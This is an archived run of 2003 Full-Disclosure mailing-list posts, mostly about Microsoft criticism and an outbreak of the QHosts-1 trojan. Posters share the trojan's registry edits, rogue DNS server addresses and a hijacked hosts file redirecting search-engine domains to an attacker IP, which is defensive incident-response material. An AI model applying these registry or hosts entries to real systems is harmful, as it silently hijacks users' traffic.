From: jasonc at science.org (Jason Coombs) Date: Wed, 01 Oct 2003 09:27:03 -1000 Subject: [Full-Disclosure] Re: [ISN] Technology Firm With Ties to Microsoft Fires Executive Over Criticism In-Reply-To: References: Message-ID: <3F7B2A87.90207@science.org> Paul Robichaux wrote: > I erred ... > but I think Roberta Bragg said ... > http://mcpmag.com/security It was very good of you to acknowledge, Paul, that your response was in error. Mistakes happen... I personally make several per day. Often in writing. One's goal, if one cares about security, must be to understand the source of behaviors, biases, preconceived notions, misunderstandings, etc. that one exhibits in connection with mistakes, even if a given symptom has only been observed once, and trace those flaws to their root cause -- then reprogram. Roberta Bragg makes a sincere attempt to respond to the report, but she does so with emotion rather than critical thinking and an open mind. Roberta is currently unwilling to accept, emotionally, that she is personally supporting a malicious entity that is still engaged in unfair and unreasonable attacks against good people. This is a normal response that people go through (denial) when they are struggling to come to terms with having enabled (co-dependency) a substance abuser. The thinking is something like this: "Microsoft can't be evil because if they are then what does that make me?" To add context, my professional background includes almost being published by Microsoft Press recently in the security area... Until Microsoft saw that the security advice being offered by my book told too much of the truth, and much of it just wasn't compatible with corporate monopolistic self-interest. Here is my response to her article. Since you appear to be an ally of hers, perhaps you'll forward my comments to her personally. 10/1/2003: Jason Coombs says: Roberta has been so badly compromised by her own bias that she isn't aware that she completely missed the point of the report. The Microsoft monopoly is causing severe harm, and its potential for new specific harm increases (force multiplication) as the monopoly grows. A necessary step in the process of information security is selecting software that is designed with open, provable security features -- until Microsoft changes its abusive, monopolistic behaviors (which come from the top of the company) it will never build a trustworthy product. Roberta chooses to trust Microsoft because she is underinformed. Perhaps she has smelled the truth and opted for a financially-comfortable condition of denial where she can help further Microsoft's cause while looking the other way when Microsoft commits terrible offenses. This way the stink doesn't create a denial of service condition for her personal bank account balance. From kevin.hansen at thomson.com Wed Oct 1 20:19:12 2003 From: kevin.hansen at thomson.com (Hansen, Kevin) Date: Wed, 1 Oct 2003 14:19:12 -0500 Subject: [Full-Disclosure] Mystery DNS Changes Message-ID: <63C5D58429F6D41196040006298F207C02B85963@eg-msgmbx-b05.int.westgroup.com> We have seen multiple instances where DHCP enabled workstations have had their DNS reconfigured to point to two of the three addresses listed below. Can anyone else confirm this? Incidents.org is reporting an increase in port 53 traffic over the last two days. Are we looking at the precursor to the next worm? 216.127.92.38 69.57.146.14 69.57.147.175 -KJH ++++++++++++++++++++++++++ Kevin J. Hansen Architect Global Network Thomson Legal & Regulatory kevin.hansen at thomson.com 651-687-8466 ++++++++++++++++++++++++++ -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031001/fccfcd69/attachment.html From Brent.Colflesh at ulticom.com Wed Oct 1 20:45:36 2003 From: Brent.Colflesh at ulticom.com (Brent Colflesh) Date: Wed, 1 Oct 2003 15:45:36 -0400 Subject: [Full-Disclosure] NINCOMPOOPERY OF MICROSOFT In-Reply-To: <20031001190646.1907.qmail@localhost.localdomain> Message-ID: <003001c38854$963fcd60$1a2219ac@Ulticom.com> IANAL, but the typical way it works in the US is that wealthy defendants are found guilty, possibly suffer some consequence, and that's the end of it. Poor defendants are found guilty and are labelled criminals for the rest of their lives. Regards, Brent -----Original Message----- From: full-disclosure-admin at lists.netsys.com [mailto:full-disclosure-admin at lists.netsys.com]On Behalf Of Georgi Guninski Sent: Wednesday, October 01, 2003 3:07 PM To: full-disclosure at lists.netsys.com Subject: Re: [Full-Disclosure] NINCOMPOOPERY OF MICROSOFT This user Bullmur should be carefull with the word "criminal". Question to the lawyers on the list: It is my understanding that "criminal" is someone who breaks the law. microsoft seem to have been found guilty by a court in the antitrust trial, so they seem to have broken the law. Are microsoft criminals from legal point of view? Or does justice work this way: if you deface a website, you are a criminal, but if you screw most of the internet you are a hero? georgi On Wed, 1 Oct 2003 07:54:12 -0700 wrote: > "Hackers are criminals" Most, he notes, release their malicious code > after patches for Microsoft software have been released, meaning that > they are simply reverse engineering to exploit security weaknesses or > holes in software. - Microsoft CEO Steve Ballmer > > 'ninkum`poop [n] a stupid foolish person See Also: simple, simpleton > > _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html From flynngn at jmu.edu Wed Oct 1 21:04:33 2003 From: flynngn at jmu.edu (Gary Flynn) Date: Wed, 01 Oct 2003 16:04:33 -0400 Subject: [Full-Disclosure] Mystery DNS Changes In-Reply-To: <63C5D58429F6D41196040006298F207C02B85963@eg-msgmbx-b05.int.westgroup.com> References: <63C5D58429F6D41196040006298F207C02B85963@eg-msgmbx-b05.int.westgroup.com> Message-ID: <3F7B3351.7010201@jmu.edu> Hansen, Kevin wrote: > We have seen multiple instances where DHCP enabled workstations have had > their DNS reconfigured to point to two of the three addresses listed below. > Can anyone else confirm this? Incidents.org is reporting an increase in port > 53 traffic over the last two days. Are we looking at the precursor to the > next worm? This is currently being discussed on NTBUGTRAQ too. -- Gary Flynn Security Engineer - Technical Services James Madison University Please R.U.N.S.A.F.E. http://www.jmu.edu/computing/runsafe From joel at helgeson.com Wed Oct 1 21:08:23 2003 From: joel at helgeson.com (Joel R. Helgeson) Date: Wed, 1 Oct 2003 15:08:23 -0500 Subject: [Full-Disclosure] NINCOMPOOPERY OF MICROSOFT References: <200310011454.h91EsE3a054357@mailserver2.hushmail.com> <20031001190646.1907.qmail@localhost.localdomain> Message-ID: <008701c38857$c50669d0$38056c83@Security> Well, it goes like this: If you kill 1 man, you're a murderer Kill 20, and you're a mass-murderering maniac. Kill 6 million, and you're a revolutionary. ----- Original Message ----- From: "Georgi Guninski" To: Sent: Wednesday, October 01, 2003 2:06 PM Subject: Re: [Full-Disclosure] NINCOMPOOPERY OF MICROSOFT > This user Bullmur should be carefull with the word "criminal". > > Question to the lawyers on the list: > It is my understanding that "criminal" is someone who breaks the law. > microsoft seem to have been found guilty by a court in the antitrust trial, so they seem to have broken the law. > > Are microsoft criminals from legal point of view? > > Or does justice work this way: if you deface a website, you are a criminal, but if you screw most of the internet you are a hero? > > georgi > > > > On Wed, 1 Oct 2003 07:54:12 -0700 > wrote: > > > "Hackers are criminals" Most, he notes, release their malicious code > > after patches for Microsoft software have been released, meaning that > > they are simply reverse engineering to exploit security weaknesses or > > holes in software. - Microsoft CEO Steve Ballmer > > > > 'ninkum`poop [n] a stupid foolish person See Also: simple, simpleton > > > > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > From bruen at coldrain.net Wed Oct 1 21:25:13 2003 From: bruen at coldrain.net (Stormwalker) Date: Wed, 1 Oct 2003 16:25:13 -0400 (EDT) Subject: [Full-Disclosure] NINCOMPOOPERY OF MICROSOFT In-Reply-To: <20031001190646.1907.qmail@localhost.localdomain> Message-ID: IANAL, but I know that the legal system is divided into a criminal piece and a civil piece. Criminals are those who break criminal law. Civil proceedings tend to be about business disputes, lawsuits, divorces, etc, where the court acts like a third party mediator. cheers, bob On Wed, 1 Oct 2003, Georgi Guninski wrote: > This user Bullmur should be carefull with the word "criminal". > > Question to the lawyers on the list: It is my understanding that > "criminal" is someone who breaks the law. microsoft seem to have been > found guilty by a court in the antitrust trial, so they seem to have > broken the law. > > Are microsoft criminals from legal point of view? > > Or does justice work this way: if you deface a website, you are a > criminal, but if you screw most of the internet you are a hero? > > georgi > > > > On Wed, 1 Oct 2003 07:54:12 -0700 > wrote: > > > "Hackers are criminals" Most, he notes, release their malicious code > > after patches for Microsoft software have been released, meaning that > > they are simply reverse engineering to exploit security weaknesses or > > holes in software. - Microsoft CEO Steve Ballmer > > > > 'ninkum`poop [n] a stupid foolish person See Also: simple, simpleton > > > > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > From ggilliss at netpublishing.com Wed Oct 1 21:32:10 2003 From: ggilliss at netpublishing.com (Gregory A. Gilliss) Date: Wed, 1 Oct 2003 13:32:10 -0700 Subject: [Full-Disclosure] NINCOMPOOPERY OF MICROSOFT In-Reply-To: <20031001190646.1907.qmail@localhost.localdomain> References: <200310011454.h91EsE3a054357@mailserver2.hushmail.com> <20031001190646.1907.qmail@localhost.localdomain> Message-ID: <20031001203210.GA57972@netpublishing.com> IANAL and I only can reference law in the USA. YMMV. Once upon a time, hackers were people who wanted to understand how things worked. They were not criminals. The reason that they were not criminals was that there were no laws passed that said that what they were doing was against the law :) A person cannot be accused of a crime unless there is a law in existence that they can be accused of violating. Thus Congress set about creating laws so that the judicial process would have laws to accuse people of breaking. Onel de Guzman basically got a "get out of jail free" card when he released the Lovebug virus for the simple reason that the Phillipines did not at that time have a law that made his actions criminal, therefore they could not charge him with a crime. Needless to say that little oversight was changed muy pronto. Currently, in the USA it is illegal to attempt a connection or to connect or to gain access or to modify any computer inside or outside of the USA without the owner's permission or with the intent of doing harm. Yes, Virginia, port scanning is a crime. Heck, if I telnet manually to lists.netsys.com on port 25 and type in this message and *try* VRFY and EXPN, I could be charged with a crime because that is not the way that the SMTP service is used in practice (most people use automated MUAs) and because it could be argued that my attempted use of VRFY and EXPN were not "usual" and that therefore I must have been trying to do something wrong or illegal. Whether or not what I did is illegal is a point of fact, and has to be decided by a jury trial in a court of law. Reality - the Federal Bureau of Investigation (FBI) likely will not even make the effort to prosecute computer crimes that cannot be said to have caused significant (like US$500,000) amounts of damage. It's just not worth the time and resources for them to assign people to port scanning. That's also why "...the pentagon reported that hackers attempted to access critical infrastructure computers ten gazillion times last year..." statements are a farce, because my nmap scan of 65,535 potential open ports on their firewall doesn't count as 65,535 attempts to access critical infrastructure - it's just a damned port scan. But, like Halloween, it's easier to get money from people if you scare them first. >-) G On or about 2003.10.01 22:06:46 +0000, Georgi Guninski (guninski at guninski.com) said: > This user Bullmur should be carefull with the word "criminal". > > Question to the lawyers on the list: > It is my understanding that "criminal" is someone who breaks the law. > microsoft seem to have been found guilty by a court in the antitrust trial, so they seem to have broken the law. > > Are microsoft criminals from legal point of view? > > Or does justice work this way: if you deface a website, you are a criminal, but if you screw most of the internet you are a hero? -- Gregory A. Gilliss, CISSP Telephone: 1 650 872 2420 Computer Engineering E-mail: greg at gilliss.com Computer Security ICQ: 123710561 Software Development WWW: http://www.gilliss.com/greg/ PGP Key fingerprint 2F 0B 70 AE 5F 8E 71 7A 2D 86 52 BA B7 83 D9 B4 14 0E 8C A3 From JBrown at thrupoint.net Wed Oct 1 22:02:13 2003 From: JBrown at thrupoint.net (Brown, James (Jim)) Date: Wed, 1 Oct 2003 17:02:13 -0400 Subject: [Full-Disclosure] Mystery DNS Changes Message-ID: -----Original Message----- From: Hansen, Kevin To: 'full-disclosure at lists.netsys.com' Sent: 10/1/03 3:19 PM Subject: [Full-Disclosure] Mystery DNS Changes We have seen multiple instances where DHCP enabled workstations have had their DNS reconfigured to point to two of the three addresses listed below. Can anyone else confirm this? Incidents.org is reporting an increase in port 53 traffic over the last two days. Are we looking at the precursor to the next worm? 216.127.92.38 69.57.146.14 69.57.147.175 Are these entries coming in the DHCP packets or are they being set *after* DHCP is complete? Are compromised systems acting like DHCP servers stuffing their own DNS entries into specially crafted replies? Can you post traffic dumps? Best Regards, jpb === Note: The information contained in this message may be privileged and confidential and protected from disclosure. If the reader of this message is not the intended recipient, or an employee or agent responsible for delivering this message to the intended recipient, you are hereby notified that any dissemination, distribution or copying of this communication is strictly prohibited. If you have received this communication in error, please notify us immediately by replying to the message and deleting it from your computer. Thank you. ThruPoint, Inc. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031001/3f04b77a/attachment.html From eckman at umn.edu Wed Oct 1 22:05:52 2003 From: eckman at umn.edu (Brian Eckman) Date: Wed, 01 Oct 2003 16:05:52 -0500 Subject: [Full-Disclosure] Mystery DNS Changes References: <63C5D58429F6D41196040006298F207C02B85963@eg-msgmbx-b05.int.westgroup.com> <3F7B3351.7010201@jmu.edu> Message-ID: <3F7B41B0.9010709@umn.edu> Gary Flynn wrote: > > > Hansen, Kevin wrote: > >> We have seen multiple instances where DHCP enabled workstations have had >> their DNS reconfigured to point to two of the three addresses listed >> below. >> Can anyone else confirm this? Incidents.org is reporting an increase >> in port >> 53 traffic over the last two days. Are we looking at the precursor to the >> next worm? > > > This is currently being discussed on NTBUGTRAQ too. > > McAfee labels it QHosts-1 http://us.mcafee.com/virusInfo/default.asp?id=description&virus_k=100719 Brian -- Brian Eckman Security Analyst OIT Security and Assurance University of Minnesota 612-626-7737 "There are 10 types of people in this world. Those who understand binary and those who don't." From mlande at bellsouth.net Wed Oct 1 22:12:48 2003 From: mlande at bellsouth.net (Mary Landesman) Date: Wed, 1 Oct 2003 17:12:48 -0400 Subject: [Full-Disclosure] Mystery DNS Changes References: <63C5D58429F6D41196040006298F207C02B85963@eg-msgmbx-b05.int.westgroup.com> Message-ID: <015a01c38860$c4315070$c400a8c0@MLANDE> This exploit has been dubbed QHosts-1 Trojan by NAI. Details can be found at: http://vil.nai.com/vil/content/v_100719.htm Regards, Mary Landesman Antivirus About.com Guide http://antivirus.about.com ----- Original Message ----- From: "Hansen, Kevin" To: Sent: Wednesday, October 01, 2003 3:19 PM Subject: [Full-Disclosure] Mystery DNS Changes We have seen multiple instances where DHCP enabled workstations have had their DNS reconfigured to point to two of the three addresses listed below. Can anyone else confirm this? Incidents.org is reporting an increase in port 53 traffic over the last two days. Are we looking at the precursor to the next worm? 216.127.92.38 69.57.146.14 69.57.147.175 -KJH From r.fulton at auckland.ac.nz Wed Oct 1 22:14:14 2003 From: r.fulton at auckland.ac.nz (Russell Fulton) Date: Thu, 02 Oct 2003 09:14:14 +1200 Subject: [Full-Disclosure] Mystery DNS Changes In-Reply-To: <3F7B3351.7010201@jmu.edu> References: <63C5D58429F6D41196040006298F207C02B85963@eg-msgmbx-b05.int.westgroup.com> <3F7B3351.7010201@jmu.edu> Message-ID: <1065042854.3551.102.camel@localhost> On Thu, 2003-10-02 at 08:04, Gary Flynn wrote: > Hansen, Kevin wrote: > > > We have seen multiple instances where DHCP enabled workstations have had > > their DNS reconfigured to point to two of the three addresses listed below. > > Can anyone else confirm this? Incidents.org is reporting an increase in port > > 53 traffic over the last two days. Are we looking at the precursor to the > > next worm? > > This is currently being discussed on NTBUGTRAQ too. This is the QHosts-1 trojan http://vil.nai.com/vil/content/v_100719.htm This information was posted to the Avien list about an hour ago by Craig Schmugar, McAfee AVERT. :) If you want fast access to information on trojans and viruses Avien is the place to be. Yes is costs but the membership fees are modest and extremely good value. www.avien.org -- Russell Fulton, Network Security Officer, The University of Auckland, New Zealand. From madsaxon at direcway.com Wed Oct 1 22:18:37 2003 From: madsaxon at direcway.com (madsaxon) Date: Wed, 01 Oct 2003 16:18:37 -0500 Subject: [Full-Disclosure] NINCOMPOOPERY OF MICROSOFT In-Reply-To: <20031001203210.GA57972@netpublishing.com> References: <20031001190646.1907.qmail@localhost.localdomain> <200310011454.h91EsE3a054357@mailserver2.hushmail.com> <20031001190646.1907.qmail@localhost.localdomain> Message-ID: <5.0.0.25.2.20031001160816.04bead60@pop3.direcway.com> At 01:32 PM 10/1/03 -0700, Gregory A. Gilliss wrote: >Reality - the Federal Bureau of Investigation (FBI) likely will not even >make the effort to prosecute computer crimes that cannot be said to have >caused significant (like US$500,000) amounts of damage. It's just not >worth the time and resources for them to assign people to port scanning. Minor point: the reason the FBI is unlikely to investigate crimes with smaller dollar amounts is because the US Attorney's Office will not prosecute them. Since the FBI is a federal agency, it investigates federal crimes, and those crimes are prosecuted by the US Attorney's Office. The FBI can only pursue cases with the potential for successful prosecution, ergo the monetary damage limitation (although it's more like $5,000 than $500,000). Also remember that the DOJ generally only prosecutes felonies, and these often have lower monetary boundaries. That's why it's very important if you want to bring in law enforcement that you make a credible attempt at quantifying your losses first. m5x From pauls at utdallas.edu Wed Oct 1 22:25:02 2003 From: pauls at utdallas.edu (Schmehl, Paul L) Date: Wed, 1 Oct 2003 16:25:02 -0500 Subject: [Full-Disclosure] Mystery DNS Changes Message-ID: <871080DEC5874D41B4E3AFC5C400611E03F60C03@UTDEVS02.campus.ad.utdallas.edu> -----Original Message----- From: Hansen, Kevin [mailto:kevin.hansen at thomson.com] Sent: Wednesday, October 01, 2003 2:19 PM To: 'full-disclosure at lists.netsys.com' Subject: [Full-Disclosure] Mystery DNS Changes We have seen multiple instances where DHCP enabled workstations have had their DNS reconfigured to point to two of the three addresses listed below. Can anyone else confirm this? Incidents.org is reporting an increase in port 53 traffic over the last two days. Are we looking at the precursor to the next worm? 216.127.92.38 69.57.146.14 69.57.147.175 According to McAfee: This is the QHosts-1 trojan http://vil.nai.com/vil/content/v_100719.htm Paul Schmehl (pauls at utdallas.edu) Adjunct Information Security Officer The University of Texas at Dallas AVIEN Founding Member http://www.utdallas.edu/~pauls/ -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031001/343265f5/attachment.html From mike at sentex.net Wed Oct 1 22:37:45 2003 From: mike at sentex.net (Mike Tancsa) Date: Wed, 01 Oct 2003 17:37:45 -0400 Subject: [Full-Disclosure] Mystery DNS Changes In-Reply-To: <63C5D58429F6D41196040006298F207C02B85963@eg-msgmbx-b05.int .westgroup.com> References: <63C5D58429F6D41196040006298F207C02B85963@eg-msgmbx-b05.int.westgroup.com> Message-ID: <6.0.0.22.0.20031001173654.096a9280@209.112.4.2> Sounds like http://vil.nai.com/vil/content/v_100719.htm ---Mike At 03:19 PM 01/10/2003, Hansen, Kevin wrote: >We have seen multiple instances where DHCP enabled workstations have had >their DNS reconfigured to point to two of the three addresses listed >below. Can anyone else confirm this? Incidents.org is reporting an >increase in port 53 traffic over the last two days. Are we looking at the >precursor to the next worm? > >216.127.92.38 >69.57.146.14 >69.57.147.175 > >-KJH > >++++++++++++++++++++++++++ >Kevin J. Hansen >Architect >Global Network >Thomson Legal & Regulatory >kevin.hansen at thomson.com >651-687-8466 >++++++++++++++++++++++++++ From david.vincent at mightyoaks.com Wed Oct 1 23:01:25 2003 From: david.vincent at mightyoaks.com (David Vincent) Date: Wed, 1 Oct 2003 15:01:25 -0700 Subject: [Full-Disclosure] Mystery DNS Changes Message-ID: <6130FAF67D15D411BF7100E01899071F865EA3@stork.mightyoaks.local> it was said.... ------------------ We have seen multiple instances where DHCP enabled workstations have had their DNS reconfigured to point to two of the three addresses listed below. Can anyone else confirm this? Incidents.org is reporting an increase in port 53 traffic over the last two days. Are we looking at the precursor to the next worm? 216.127.92.38 69.57.146.14 69.57.147.175 Are these entries coming in the DHCP packets or are they being set *after* DHCP is complete? Are compromised systems acting like DHCP servers stuffing their own DNS entries into specially crafted replies? Can you post traffic dumps? ------------------ check here: http://isc.sans.org/diary.html?date=2003-10-01 ------------------ DNS abnormalitities As initially posted to the SANS intrustions list, some sites observe an increase in abnormal DNS queries. For the original post, see http://cert.uni-stuttgart.de/archive/intrusions/2003/10/msg00003.html A likely related issue has been reported to NT Bugtraq: http://www.ntbugtraq.com/default.asp?pid=36&sid=1&A2=ind0310&L=ntbugtraq&D=0 &F=P&P=1048 Here, a user reported that "Various Windows 2000 professional workstations are changing the DNS servers they are configured to use". The new DNS server, 216.127.92.38 and 69.51.146.14, is hosted by 'Everyone's Internet Inc.', (ev1.com). This user did report suspicous changes to the registry: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Inter faces\windows] "r0x"="your s0x" "NameServer"="69.57.146.14" [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Inter faces\{45F95E82-B443-428B-9EB7-4C65CDCD9006}] "T2"=dword:3e057410 "LeaseTerminatesTime"=dword:3e067130 "LeaseObtainedTime"=dword:3dfe8830 "T1"=dword:3e027cb0 "NameServer"="69.57.146.14" for more details, see this NT Bugtraq post: http://www.ntbugtraq.com/default.asp?pid=36&sid=1&A2=ind0310&L=ntbugtraq&D=0 &F=P&P=1879 ------ If you would like to share any related logs, please send them to isc_AT_sans.org ------------------ ...and someone else on NTBugTraq said... ------------------ The top DNS server change was made by a newer variant of the Delude/Startpage trojan. It used to add bogus entries in the system32\drivers\etc\hosts file, but lately has begun to change the user's DNS registry settings as well. It hijacks the user's traffic to and from major search engines, redirecting it to a single webserver under the control of the trojan author. Any requested search pages have popup ads for gambling/porn site registration, presumably because the trojan author is getting money for registrations via affiliate programs. It is being installed via the MS03-032 IE object tag exploit. A scan of the system may not turn up any infected files - this trojan does not run at startup, and deletes its files after the DNS/hosts configuration changes are complete. ------------------ -d From bugtraq at gs2.com.br Wed Oct 1 23:12:20 2003 From: bugtraq at gs2.com.br (Fabio Gomes de Souza) Date: Wed, 01 Oct 2003 19:12:20 -0300 Subject: [Full-Disclosure] Strange behavior in Windows 98 and 2000 In-Reply-To: <6130FAF67D15D411BF7100E01899071F1DB4A4@stork.mightyoaks.local> References: <6130FAF67D15D411BF7100E01899071F1DB4A4@stork.mightyoaks.local> Message-ID: <3F7B5144.7030501@gs2.com.br> Not likely. This is happening with many boxes in different buildings. Also, a friend of mine who has a WISP, called me today about the same problem that is happening with his customers. He told that Windows 2000 and XP boxes lose TCP/IP communication and, after a reboot, they work again. I am SOOO scared. :D Fabio David Vincent escreveu: > I've got a w2k box like that. > > no matter what I do it will freeze when it gets about 1/3 of the way through > the ie 6 download. doesn't matter the day, time, power outlet, network > card, power supply, ram, cat-5 cable, network drop, phase of the moon, or > where any of the planets or tides are. > > at least part of the problem was the power conditioner it was on before. we > replaced that workstation with another and it had the same problems of flaky > conenctivity and random BSODs. only after the power conditioner died and > was replaced did we figure out what the problem was. > > I can download huge files with the original box, but can't get past 1/3 of > the way through the ie 6 download before it chokes. reboots do nothing. > > so, I guess what I'm saying is check the power somehow. might be getting > dirty power. > > -d > > > > >>-----Original Message----- >>From: Fabio Gomes de Souza [mailto:bugtraq at gs2.com.br] >>Sent: Tuesday, September 30, 2003 6:13 PM >>To: full-disclosure at lists.netsys.com >>Subject: [Full-Disclosure] Strange behavior in Windows 98 and 2000 >> >> >> >>Hi, >> >>Some of the Windows 98 and 2000 boxes of my customers are suddenly >>losing their TCP/IP functionality. After a reboot, they become normal >>again for some time until the TCP/IP stack gets crazy again. >> >>- After the craziness takes place, Win2K it is still able to >>reach the >>local network, but it won't cross any router. >> >>- Windows 98 does not even reach the local net. >> >>- Both systems are able to ping the local net and the outside. >> >>- Current TCP connections still work, but you cannot >>establish new ones. >> >>- Both systems are behind linux NAT firewalls. >> >>Weird. Are you guys noting the same behaviour? >> >>I'm scared. :D >> >> >>Fabio Gomes de Souza >> >> >> >>_______________________________________________ >>Full-Disclosure - We believe in it. >>Charter: http://lists.netsys.com/full-disclosure-charter.html >> > > From tom_gordon at notes.k12.hi.us Wed Oct 1 23:38:13 2003 From: tom_gordon at notes.k12.hi.us (tom_gordon at notes.k12.hi.us) Date: Wed, 1 Oct 2003 13:38:13 -0900 Subject: [Full-Disclosure] Mystery DNS Changes Message-ID: Is that non-disclosure notice on your sig supposed to be a joke? Tom Sent by: full-disclosure-admin at lists.netsys.com To: "'Hansen, Kevin '" , "''full-disclosure at lists.netsys.com' '" cc: Subject: RE: [Full-Disclosure] Mystery DNS Changes -----Original Message----- From: Hansen, Kevin To: 'full-disclosure at lists.netsys.com' Sent: 10/1/03 3:19 PM Subject: [Full-Disclosure] Mystery DNS Changes We have seen multiple instances where DHCP enabled workstations have had their DNS reconfigured to point to two of the three addresses listed below. Can anyone else confirm this? Incidents.org is reporting an increase in port 53 traffic over the last two days. Are we looking at the precursor to the next worm? 216.127.92.38 69.57.146.14 69.57.147.175 Are these entries coming in the DHCP packets or are they being set *after* DHCP is complete? Are compromised systems acting like DHCP servers stuffing their own DNS entries into specially crafted replies? Can you post traffic dumps? Best Regards, jpb === Note: The information contained in this message may be privileged and confidential and protected from disclosure. If the reader of this message is not the intended recipient, or an employee or agent responsible for delivering this message to the intended recipient, you are hereby notified that any dissemination, distribution or copying of this communication is strictly prohibited. If you have received this communication in error, please notify us immediately by replying to the message and deleting it from your computer. Thank you. ThruPoint, Inc. From HarrisMC at health.missouri.edu Wed Oct 1 23:52:41 2003 From: HarrisMC at health.missouri.edu (Harris, Michael C.) Date: Wed, 1 Oct 2003 17:52:41 -0500 Subject: [Full-Disclosure] Mystery DNS Changes Message-ID: I have laid hands on a machine hit with the Qhosts-1 Trojan It drops a replacement hosts file in the $system%\help\ directory and also makes the registry changes described in the NAI posting http://vil.nai.com/vil/content/v_100719.htm DNS detail, hosts file details, captured headers all follow below the signature block sorry for the length of message and no I don't have a full capture Mike ------------------------------------------------------------------- Michael C Harris System Security Analyst - GSEC University of Missouri Health Center harrismc at health.missouri.edu KC0PAH ------------------------------------------------------------------- DNS changed to 69.57.146.14 69.57.147.175 hosts file included the following entries 88.88.88.88 elite 207.44.194.56 www.google.akadns.net 207.44.194.56 www.google.com 207.44.194.56 google.com 207.44.194.56 www.altavista.com 207.44.194.56 altavista.com 207.44.194.56 search.yahoo.com 207.44.194.56 uk.search.yahoo.com 207.44.194.56 ca.search.yahoo.com 207.44.194.56 jp.search.yahoo.com 207.44.194.56 au.search.yahoo.com 207.44.194.56 de.search.yahoo.com 207.44.194.56 search.yahoo.co.jp 207.44.194.56 www.lycos.de 207.44.194.56 www.lycos.ca 207.44.194.56 www.lycos.jp 207.44.194.56 www.lycos.co.jp 207.44.194.56 alltheweb.com 207.44.194.56 web.ask.com 207.44.194.56 ask.com 207.44.194.56 www.ask.com 207.44.194.56 www.teoma.com 207.44.194.56 search.aol.com 207.44.194.56 www.looksmart.com 207.44.194.56 auto.search.msn.com 207.44.194.56 search.msn.com 207.44.194.56 ca.search.msn.com 207.44.194.56 fr.ca.search.msn.com 207.44.194.56 search.fr.msn.be 207.44.194.56 search.fr.msn.ch 207.44.194.56 search.latam.yupimsn.com 207.44.194.56 search.msn.at 207.44.194.56 search.msn.be 207.44.194.56 search.msn.ch 207.44.194.56 search.msn.co.in 207.44.194.56 search.msn.co.jp 207.44.194.56 search.msn.co.kr 207.44.194.56 search.msn.com.br 207.44.194.56 search.msn.com.hk 207.44.194.56 search.msn.com.my 207.44.194.56 search.msn.com.sg 207.44.194.56 search.msn.com.tw 207.44.194.56 search.msn.co.za 207.44.194.56 search.msn.de 207.44.194.56 search.msn.dk 207.44.194.56 search.msn.es 207.44.194.56 search.msn.fi 207.44.194.56 search.msn.fr 207.44.194.56 search.msn.it 207.44.194.56 search.msn.nl 207.44.194.56 search.msn.no 207.44.194.56 search.msn.se 207.44.194.56 search.ninemsn.com.au 207.44.194.56 search.t1msn.com.mx 207.44.194.56 search.xtramsn.co.nz 207.44.194.56 search.yupimsn.com 207.44.194.56 uk.search.msn.com 207.44.194.56 search.lycos.com 207.44.194.56 www.lycos.com 207.44.194.56 www.google.ca 207.44.194.56 google.ca 207.44.194.56 www.google.uk 207.44.194.56 www.google.co.uk 207.44.194.56 www.google.com.au 207.44.194.56 www.google.co.jp 207.44.194.56 www.google.jp 207.44.194.56 www.google.at 207.44.194.56 www.google.be 207.44.194.56 www.google.ch 207.44.194.56 www.google.de 207.44.194.56 www.google.se 207.44.194.56 www.google.dk 207.44.194.56 www.google.fi 207.44.194.56 www.google.fr 207.44.194.56 www.google.com.gr 207.44.194.56 www.google.com.hk 207.44.194.56 www.google.ie 207.44.194.56 www.google.co.il 207.44.194.56 www.google.it 207.44.194.56 www.google.co.kr 207.44.194.56 www.google.com.mx 207.44.194.56 www.google.nl 207.44.194.56 www.google.co.nz 207.44.194.56 www.google.pl 207.44.194.56 www.google.pt 207.44.194.56 www.google.com.ru 207.44.194.56 www.google.com.sg 207.44.194.56 www.google.co.th 207.44.194.56 www.google.com.tr 207.44.194.56 www.google.com.tw 207.44.194.56 go.google.com 207.44.194.56 google.at 207.44.194.56 google.be 207.44.194.56 google.de 207.44.194.56 google.dk 207.44.194.56 google.fi 207.44.194.56 google.fr 207.44.194.56 google.com.hk 207.44.194.56 google.ie 207.44.194.56 google.co.il 207.44.194.56 google.it 207.44.194.56 google.co.kr 207.44.194.56 google.com.mx 207.44.194.56 google.nl 207.44.194.56 google.co.nz 207.44.194.56 google.pl 207.44.194.56 google.com.ru 207.44.194.56 google.com.sg 207.44.194.56 www.hotbot.com 207.44.194.56 hotbot.com sample headers 2003/10/01-16:54:05.242697 161.130.204.xxx.2306 > 207.44.220.30.http: S 22870760:22870760(0) win 8192 (DF) 2003/10/01-16:54:05.281848 207.44.220.30.http > 161.130.204.xxx.2306: S 1904832103:1904832103(0) ack 22870761 win 5840 (DF) 2003/10/01-16:54:05.282723 161.130.204.xxx.2306 > 207.44.220.30.http: . ack 1904832104 win 8760 (DF) 2003/10/01-16:54:05.283772 161.130.204.xxx.2306 > 207.44.220.30.http: P 22870761:22871132(371) ack 1904832104 win 8760 (DF) 2003/10/01-16:54:05.326527 207.44.220.30.http > 161.130.204.xxx.2306: . ack 22871132 win 6432 (DF) 2003/10/01-16:54:05.328614 207.44.220.30.http > 161.130.204.xxx.2306: . 1904832104:1904833564(1460) ack 22871132 win 6432 (DF) 2003/10/01-16:54:05.329041 207.44.220.30.http > 161.130.204.xxx.2306: . 1904833564:1904835024(1460) ack 22871132 win 6432 (DF) 2003/10/01-16:54:05.330076 161.130.204.xxx.2306 > 207.44.220.30.http: . ack 1904835024 win 8760 (DF) 2003/10/01-16:54:05.372888 207.44.220.30.http > 161.130.204.xxx.2306: P 1904835024:1904836392(1368) ack 22871132 win 6432 (DF) 2003/10/01-16:54:05.446322 161.130.204.xxx.2306 > 207.44.220.30.http: P 22871132:22871449(317) ack 1904836392 win 7392 (DF) 2003/10/01-16:54:05.487111 207.44.220.30.http > 161.130.204.xxx.2306: . 1904836392:1904837852(1460) ack 22871449 win 7504 (DF) 